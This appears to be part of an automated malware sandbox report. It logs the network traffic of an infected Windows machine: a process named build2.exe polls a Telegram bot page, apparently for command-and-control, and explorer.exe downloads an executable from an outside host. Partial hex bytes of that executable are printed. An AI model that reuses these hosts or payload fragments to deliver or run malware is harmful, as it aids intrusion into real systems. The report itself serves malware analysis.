2023-05-28 08:43:32 UTC	1400	IN	Data Raw: 37 43 50 75 39 2d 50 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 54 2f 72 2f 4b 70 39 49 4d 6a 45 47 4e 5f 54 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 Data Ascii: 7CPu9-P.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="su6L2Zt4" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/yT/r/Kp9IMjEGN_T.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="su6L2Zt4" /><link rel="preload" href="https://static.xx.fbcdn.net/rs
2023-05-28 08:43:32 UTC	1401	IN	Data Raw: 6e 73 69 73 74 65 6e 63 79 3a 7b 72 65 76 3a 31 30 30 37 35 37 37 35 35 39 7d 7d 7d 2c 61 6c 6c 52 65 73 6f 75 72 63 65 73 3a 5b 22 48 4c 54 48 42 46 4f 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 50 75 64 36 42 32 5a 22 2c 22 6d 72 36 51 65 61 78 22 2c 22 2b 7a 79 76 38 55 65 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 33 63 7a 38 47 65 70 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 2f 41 4e 38 42 74 35 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 2f 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 45 54 35 31 42 6d 4d 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 32 52 47 45 70 78 50 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 66 Data Ascii: nsistency:{rev:1007577559}}},allResources:["HLTHBFO","mdXyUDL","Pud6B2Z","mr6Qeax","+zyv8Ue","7Z7sy3l","3cz8Gep","gPq3qLy","Vby7npJ","/AN8Bt5","OLUnqzA","ZTenV+A","LfFe6kq","9NMF+qx","s4W0XF/","9MogwrT","ET51BmM","Hsd7Z2V","i1vDKt9","2RGEpxP","R5w1rCJ","f
2023-05-28 08:43:32 UTC	1402	IN	Data Raw: 66 61 32 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 62 65 66 6f 72 65 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 22 6c 61 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 Data Ascii: fa2<script nonce="su6L2Zt4">(function(){var n=now_inl();requireLazy(["__bigPipe"],function(bigPipe){bigPipe.beforePageletArrive("last_response",n);})})();</script><script nonce="su6L2Zt4">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletAr
2023-05-28 08:43:32 UTC	1404	IN	Data Raw: 65 39 54 4b 6b 51 43 66 6a 6c 71 72 48 31 58 6b 6a 4a 66 79 72 76 38 68 42 4b 47 71 72 34 61 63 66 64 6a 74 69 48 6d 63 49 58 4e 75 34 79 5f 6f 71 77 4b 52 43 7a 4f 43 36 39 63 5f 55 53 77 45 45 69 58 70 52 32 55 47 75 51 65 71 49 32 62 45 32 44 55 4c 4b 53 6d 52 68 67 7a 38 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 38 38 35 37 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 30 58 38 62 64 70 47 63 50 73 64 5f 72 77 4a 4f 50 61 64 4f 63 5a 53 58 6f 57 41 68 4f 48 5f 69 73 79 32 55 67 2d 6d 56 30 69 51 6e 4a 49 34 61 74 4d 39 68 49 56 79 61 65 4a 56 47 46 74 4e 58 67 4d 4f 39 4c 43 63 64 67 44 77 5f 45 65 39 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 34 31 35 38 22 2c 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f Data Ascii: e9TKkQCfjlqrH1XkjJfyrv8hBKGqr4acfdjtiHmcIXNu4y_oqwKRCzOC69c_USwEEiXpR2UGuQeqI2bE2DULKSmRhgz8"]},-1],["cr:1108857",[],{__rc:[null,"Aa0X8bdpGcPsd_rwJOPadOcZSXoWAhOH_isy2Ug-mV0iQnJI4atM9hIVyaeJVGFtNXgMO9LCcdgDw_Ee9w"]},-1],["cr:1294158",["React.classic"],{__
2023-05-28 08:43:32 UTC	1405	IN	Data Raw: 51 48 64 34 5a 36 33 4a 4d 4d 31 30 73 73 34 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 32 30 32 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 30 58 38 62 64 70 47 63 50 73 64 5f 72 77 4a 4f 50 61 64 4f 63 5a 53 58 6f 57 41 68 4f 48 5f 69 73 79 32 55 67 2d 6d 56 30 69 51 6e 4a 49 34 61 74 4d 39 68 49 56 79 61 65 4a 56 47 46 74 4e 58 67 4d 4f 39 4c 43 63 64 67 44 77 5f 45 65 39 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 37 31 34 37 33 22 2c 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 2c 22 41 61 31 4f 39 39 63 66 55 2d 70 6b 65 54 63 50 46 32 64 36 47 62 4f 48 5f 39 4d 48 58 64 4c 7a 59 38 54 74 2d 57 6d 53 35 39 5a Data Ascii: QHd4Z63JMM10ss4"]},-1],["cr:11202",[],{__rc:[null,"Aa0X8bdpGcPsd_rwJOPadOcZSXoWAhOH_isy2Ug-mV0iQnJI4atM9hIVyaeJVGFtNXgMO9LCcdgDw_Ee9w"]},-1],["cr:971473",["LayerHideOnTransition"],{__rc:["LayerHideOnTransition","Aa1O99cfU-pkeTcPF2d6GbOH_9MHXdLzY8Tt-WmS59Z
2023-05-28 08:43:32 UTC	1406	IN	Data Raw: 22 2c 22 41 61 30 58 38 62 64 70 47 63 50 73 64 5f 72 77 4a 4f 50 61 64 4f 63 5a 53 58 6f 57 41 68 4f 48 5f 69 73 79 32 55 67 2d 6d 56 30 69 51 6e 4a 49 34 61 74 4d 39 68 49 56 79 61 65 4a 56 47 46 74 4e 58 67 4d 4f 39 4c 43 63 64 67 44 77 5f 45 65 39 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 32 36 38 33 22 2c 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 22 2c 22 41 61 31 68 57 43 54 54 35 2d 2d 57 62 6f 57 75 6e 45 6e 73 6d 4e 33 61 6b 78 49 71 34 5f 34 59 52 31 2d 79 30 52 6a 46 51 33 46 53 73 4c 41 50 7a 41 48 34 55 75 47 43 32 68 4f 4f 71 36 6c 2d 62 6f 4f 70 53 57 36 6c 68 64 57 37 35 4a 49 6f 30 63 70 4c 37 77 59 6e 31 4c 68 56 22 5d 7d 2c 2d 31 5d 2c 5b 22 43 6f 72 65 57 61 72 6e 69 6e 67 Data Ascii: ","Aa0X8bdpGcPsd_rwJOPadOcZSXoWAhOH_isy2Ug-mV0iQnJI4atM9hIVyaeJVGFtNXgMO9LCcdgDw_Ee9w"]},-1],["cr:2683",["warningBlue"],{__rc:["warningBlue","Aa1hWCTT5--WboWunEnsmN3akxIq4_4YR1-y0RjFQ3FSsLAPzAH4UuGC2hOOq6l-boOpSW6lhdW75JIo0cpL7wYn1LhV"]},-1],["CoreWarning
2023-05-28 08:43:32 UTC	1408	IN	Data Raw: 6f 6e 64 73 4c 6f 67 67 65 72 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 54 69 6d 65 53 70 65 6e 74 49 6d 6d 65 64 69 61 74 65 41 63 74 69 76 65 53 65 63 6f 6e 64 73 4c 6f 67 67 65 72 42 6c 75 65 22 2c 22 41 61 31 4f 39 39 63 66 55 2d 70 6b 65 54 63 50 46 32 64 36 47 62 4f 48 5f 39 4d 48 58 64 4c 7a 59 38 54 74 2d 57 6d 53 35 39 5a 45 73 50 4f 75 32 72 74 38 51 46 63 48 51 6f 34 5f 63 4b 61 75 4d 4b 34 75 55 71 46 38 41 2d 4a 54 51 48 64 34 5a 36 33 4a 4d 4d 31 30 73 73 34 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 38 37 31 35 39 22 2c 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 42 6c 75 65 43 6f 6d 70 61 74 42 72 6f 6b 65 72 22 2c 22 41 61 31 4f 39 39 63 66 55 2d 70 6b 65 54 63 50 46 32 64 36 47 62 4f 48 5f Data Ascii: ondsLoggerBlue"],{__rc:["TimeSpentImmediateActiveSecondsLoggerBlue","Aa1O99cfU-pkeTcPF2d6GbOH_9MHXdLzY8Tt-WmS59ZEsPOu2rt8QFcHQo4_cKauMK4uUqF8A-JTQHd4Z63JMM10ss4"]},-1],["cr:1187159",["BlueCompatBroker"],{__rc:["BlueCompatBroker","Aa1O99cfU-pkeTcPF2d6GbOH_
2023-05-28 08:43:32 UTC	1409	IN	Data Raw: 30 2c 22 63 5f 75 73 65 72 22 5d 5d 2c 5b 22 4e 61 76 69 67 61 74 69 6f 6e 43 6c 69 63 6b 50 6f 69 6e 74 48 61 6e 64 6c 65 72 22 5d 2c 5b 22 57 65 62 44 65 76 69 63 65 50 65 72 66 49 6e 66 6f 4c 6f 67 67 69 6e 67 22 2c 22 64 6f 4c 6f 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 22 2c 22 73 63 68 65 64 75 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 41 72 74 69 6c 6c 65 72 79 22 2c 22 64 69 73 61 62 6c 65 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 53 63 72 69 70 74 50 61 74 68 4c 6f 67 67 65 72 22 2c 22 73 74 61 72 74 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 54 69 6d 65 53 70 65 6e 74 42 69 74 41 72 72 61 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 44 65 66 65 72 72 65 64 43 6f 6f 6b 69 Data Ascii: 0,"c_user"]],["NavigationClickPointHandler"],["WebDevicePerfInfoLogging","doLog",[],[]],["WebStorageMonster","schedule",[],[]],["Artillery","disable",[],[]],["ScriptPathLogger","startLogging",[],[]],["TimeSpentBitArrayLogger","init",[],[]],["DeferredCooki

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49903	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:33 UTC	1411	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:43:33 UTC	1411	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:43:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12470 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:43:33 UTC	1411	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49924	149.154.167.99	443	C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:37 UTC	1423	OUT	GET /looking_glassbot HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me Cookie: stel_ssid=638c97e8fa9f45a999_4963120488110758311
2023-05-28 08:43:37 UTC	1424	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:43:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:43:37 UTC	1424	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49934	80.66.203.53	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:38 UTC	1436	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: shsplatform.co.uk
2023-05-28 08:43:38 UTC	1436	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 08:43:38 GMT Server: Apache Content-Description: File Transfer Content-Disposition: attachment; filename=cc7a0af5.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-05-28 08:43:38 UTC	1437	IN	Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 03 fa 61 00 00 00 00 00 Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$&bbb\|\|\|HEXkb\|c\|c\|cRichbPELa
2023-05-28 08:43:38 UTC	1444	IN	Data Raw: c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
2023-05-28 08:43:38 UTC	1445	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:38 UTC	1445	IN	Data Raw: 32 30 30 30 0d 0a 4d 4d 2f 64 64 2f 79 79 00 00 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 75 67 00 4a 75 6c 00 4a 75 6e 00 4d 61 79 00 41 70 72 00 4d 61 72 00 46 65 62 00 4a 61 6e 00 53 61 74 75 72 64 61 79 00 00 00 00 46 72 69 64 61 79 00 00 54 68 75 72 73 64 61 79 00 00 00 00 57 65 64 6e 65 73 64 61 79 00 00 00 54 75 65 73 64 61 79 00 4d 6f 6e 64 61 79 00 00 53 75 6e 64 61 79 00 00 53 61 74 00 46 72 69 00 54 Data Ascii: 2000MM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriT
2023-05-28 08:43:38 UTC	1453	IN	Data Raw: e3 ff ff ff f6 45 Data Ascii: E
2023-05-28 08:43:38 UTC	1453	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:38 UTC	1453	IN	Data Raw: 32 30 30 30 0d 0a 08 01 74 07 56 e8 a6 fe ff ff 59 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 8b 45 08 83 c1 09 51 83 c0 09 50 e8 69 36 00 00 f7 d8 59 1b c0 59 40 5d c2 04 00 8b ff 56 6a 01 68 3c 50 47 00 8b f1 e8 05 fb ff ff c7 06 50 12 40 00 8b c6 5e c3 8b ff 55 8b ec 83 ec 0c eb 0d ff 75 08 e8 06 38 00 00 59 85 c0 74 0f ff 75 08 e8 1b 1d 00 00 59 85 c0 74 e6 c9 c3 f6 05 6c 6c 47 00 01 be 60 6c 47 00 75 19 83 0d 6c 6c 47 00 01 8b ce e8 a3 ff ff ff 68 d0 34 47 00 e8 a6 37 00 00 59 56 8d 4d f4 e8 cd f9 ff ff 68 88 3a 47 00 8d 45 f4 50 e8 4a 02 00 00 cc 8b ff 55 8b ec 83 3d 78 6c 47 00 01 75 05 e8 fb 3c 00 00 ff 75 08 e8 48 3b 00 00 68 ff 00 00 00 e8 8a 38 00 00 59 59 5d c3 6a 58 68 08 35 47 00 e8 1d 27 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 e0 10 40 00 6a fe 5f Data Ascii: 2000tVY^]UEQPi6YY@]Vjh<PGP@^Uu8YtuYtllG`lGullGh4G7YVMh:GEPJU=xlGu<uH;h8YY]jXh5G'3uEP@j_
2023-05-28 08:43:38 UTC	1461	IN	Data Raw: 53 6a 00 6a 00 51 Data Ascii: SjjQ
2023-05-28 08:43:38 UTC	1461	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1461	IN	Data Raw: 32 30 30 30 0d 0a e8 f0 3e 00 00 23 c2 83 c4 10 83 f8 ff 74 2d 8b 46 08 8b 5d 08 66 89 18 eb 1d 6a 02 8d 45 fc 50 ff 75 0c 8b fb 8b 5d 08 66 89 5d fc e8 10 47 00 00 83 c4 0c 89 45 fc 39 7d fc 74 0b 83 4e 0c 20 b8 ff ff 00 00 eb 07 8b c3 25 ff ff 00 00 5f 5b 5e c9 c3 8b ff 55 8b ec 51 56 8b 75 0c 56 e8 b8 05 00 00 89 45 0c 8b 46 0c 59 a8 82 75 17 e8 e1 f8 ff ff c7 00 09 00 00 00 83 4e 0c 20 83 c8 ff e9 2f 01 00 00 a8 40 74 0d e8 c6 f8 ff ff c7 00 22 00 00 00 eb e3 53 33 db a8 01 74 16 89 5e 04 a8 10 0f 84 87 00 00 00 8b 4e 08 83 e0 fe 89 0e 89 46 0c 8b 46 0c 83 e0 ef 83 c8 02 89 46 0c 89 5e 04 89 5d fc a9 0c 01 00 00 75 2c e8 7c 05 00 00 83 c0 20 3b f0 74 0c e8 70 05 00 00 83 c0 40 3b f0 75 0d ff 75 0c e8 7a 47 00 00 59 85 c0 75 07 56 e8 26 47 00 00 59 f7 Data Ascii: 2000>#t-F]fjEPu]f]GE9}tN %_[^UQVuVEFYuN /@t"S3t^NFFF^]u,\| ;tp@;uuzGYuV&GY
2023-05-28 08:43:39 UTC	1469	IN	Data Raw: 00 00 8b f8 59 59 Data Ascii: YY
2023-05-28 08:43:39 UTC	1469	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1469	IN	Data Raw: 32 30 30 30 0d 0a 89 3d a4 6c 47 00 85 ff 74 cb 8b 35 70 6c 47 00 53 eb 42 56 e8 57 c2 ff ff 8b d8 43 80 3e 3d 59 74 31 6a 01 53 e8 5c 33 00 00 59 59 89 07 85 c0 74 4e 56 53 50 e8 96 dc ff ff 83 c4 0c 85 c0 74 0f 33 c0 50 50 50 50 50 e8 77 d7 ff ff 83 c4 14 83 c7 04 03 f3 80 3e 00 75 b9 ff 35 70 6c 47 00 e8 ec dd ff ff 83 25 70 6c 47 00 00 83 27 00 c7 05 e8 96 6b 00 01 00 00 00 33 c0 59 5b 5f 5e c3 ff 35 a4 6c 47 00 e8 c6 dd ff ff 83 25 a4 6c 47 00 00 83 c8 ff eb e4 8b ff 55 8b ec 51 8b 4d 10 53 33 c0 56 89 07 8b f2 8b 55 0c c7 01 01 00 00 00 39 45 08 74 09 8b 5d 08 83 45 08 04 89 13 89 45 fc 80 3e 22 75 10 33 c0 39 45 fc b3 22 0f 94 c0 46 89 45 fc eb 3c ff 07 85 d2 74 08 8a 06 88 02 42 89 55 0c 8a 1e 0f b6 c3 50 46 e8 ef 4c 00 00 59 85 c0 74 13 ff 07 83 Data Ascii: 2000=lGt5plGSBVWC>=Yt1jS\3YYtNVSPt3PPPPPw>u5plG%plG'k3Y[_^5lG%lGUQMS3VU9Et]EE>"u39E"FE<tBUPFLYt
2023-05-28 08:43:39 UTC	1477	IN	Data Raw: dc 8b 55 e0 e8 46 Data Ascii: UF
2023-05-28 08:43:39 UTC	1477	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:39 UTC	1477	IN	Data Raw: 32 30 30 30 0d 0a c8 ff ff c3 ff 75 08 e8 45 3d 00 00 59 c3 8b ff 55 8b ec b8 e4 1a 00 00 e8 a3 3f 00 00 a1 80 52 47 00 33 c5 89 45 fc 8b 45 0c 56 33 f6 89 85 34 e5 ff ff 89 b5 38 e5 ff ff 89 b5 30 e5 ff ff 39 75 10 75 07 33 c0 e9 e9 06 00 00 3b c6 75 27 e8 13 b9 ff ff 89 30 e8 f9 b8 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 81 b8 ff ff 83 c4 14 83 c8 ff e9 be 06 00 00 53 57 8b 7d 08 8b c7 c1 f8 05 8d 34 85 40 a7 6b 00 8b 06 83 e7 1f c1 e7 06 03 c7 8a 58 24 02 db d0 fb 89 b5 28 e5 ff ff 88 9d 27 e5 ff ff 80 fb 02 74 05 80 fb 01 75 30 8b 4d 10 f7 d1 f6 c1 01 75 26 e8 aa b8 ff ff 33 f6 89 30 e8 8e b8 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 16 b8 ff ff 83 c4 14 e9 43 06 00 00 f6 40 04 20 74 11 6a 02 6a 00 6a 00 ff 75 08 e8 7e fd ff ff 83 c4 10 ff 75 08 e8 Data Ascii: 2000uE=YU?RG3EEV34809uu3;u'0VVVVVSW}4@kX$('tu0Mu&30VVVVVC@ tjjju~u
2023-05-28 08:43:39 UTC	1485	IN	Data Raw: 0d 00 04 00 00 eb Data Ascii:
2023-05-28 08:43:39 UTC	1485	IN	Data Raw: 0d 0a Data Ascii:
